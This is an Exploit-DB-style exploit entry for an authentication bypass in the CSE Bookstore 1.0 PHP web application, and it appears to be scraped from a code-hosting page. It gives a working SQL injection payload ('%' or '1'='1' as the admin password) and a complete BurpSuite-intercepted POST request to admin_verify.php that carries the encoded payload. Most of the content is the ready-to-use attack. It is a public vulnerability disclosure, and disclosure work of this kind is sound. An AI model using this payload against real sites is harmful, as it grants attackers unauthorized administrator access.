33 lines
No EOL
1.2 KiB
Text
33 lines
No EOL
1.2 KiB
Text
# Exploit Title: CSE Bookstore Authentication Bypass
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# Date: 27/10/2020
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# Exploit Author: Alper Basaran
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# Vendor Homepage: https://projectworlds.in/
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# Software Link: https://github.com/projectworlds32/online-book-store-project-in-php/archive/master.zip
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# Version: 1.0
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# Tested on: Windows 10 Enterprise 1909
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CSE Bookstore is vulnerable to an authentication bypass vulnerability on the admin panel.
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By default the admin panel is located at /admin.php and the administrator interface can be accessed by unauthorized users exploiting the SQL injection vulnerability.
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Payload:
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Name: admin
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Pass: %' or '1'='1
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Sample BurpSuite intercept:
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POST /bookstore/admin_verify.php HTTP/1.1
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Host: 192.168.20.131
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User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 60
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Origin: http://192.168.20.131
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Connection: close
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Referer: http://192.168.20.131/bookstore/admin.php
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Cookie: PHPSESSID=hmqnib0ihkvo235jor7mpfoupv
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Upgrade-Insecure-Requests: 1
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name=admin&pass=%25%27+or+%271%27%3D%271&submit=Submit+Query |